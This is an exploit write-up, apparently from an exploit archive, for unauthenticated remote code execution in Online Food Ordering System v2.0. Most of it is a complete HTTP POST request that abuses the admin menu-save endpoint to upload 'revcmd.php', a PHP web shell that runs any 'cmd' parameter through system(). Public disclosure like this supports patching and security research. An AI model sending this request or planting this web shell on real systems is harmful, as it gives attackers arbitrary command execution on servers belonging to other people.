Authored by Onurcan Alcan

Online Food Ordering System version 2.0 suffers from a remote shell upload vulnerability.

# Exploit Title: Online Food Ordering System v2 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 01/11/2023
# Exploit Author: Onurcan Alcan
# Vendor Homepage: https://www.sourcecodester.com/php/16022/online-food-ordering-system-v2-using-php8-and-mysql-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=16022&title=Online+Food+Ordering+System+v2+using+PHP8+and+MySQL+Free+Source+Code
# Version: 2.0
# Tested on: Macos / XAMPP


############## Unauthenticated File Upload Request ##############

POST /fos/admin/ajax.php?action=save_menu HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------38679779537855109463517942658
Content-Length: 1225
Origin: http://localhost
Connection: close
Referer: http://localhost/fos/admin/index.php?page=menu
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------38679779537855109463517942658
Content-Disposition: form-data; name="id"

1
-----------------------------38679779537855109463517942658
Content-Disposition: form-data; name="name"

Diet Coke
-----------------------------38679779537855109463517942658
Content-Disposition: form-data; name="description"

In Can
-----------------------------38679779537855109463517942658
Content-Disposition: form-data; name="status"

on
-----------------------------38679779537855109463517942658
Content-Disposition: form-data; name="category_id"

3
-----------------------------38679779537855109463517942658
Content-Disposition: form-data; name="price"

20
-----------------------------38679779537855109463517942658
Content-Disposition: form-data; name="img"; filename="revcmd.php"
Content-Type: text/php

<?
?>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<?
if($_GET['cmd']) {
system($_GET['cmd']);
}
?>
</pre>
</BODY></HTML>

-----------------------------38679779537855109463517942658--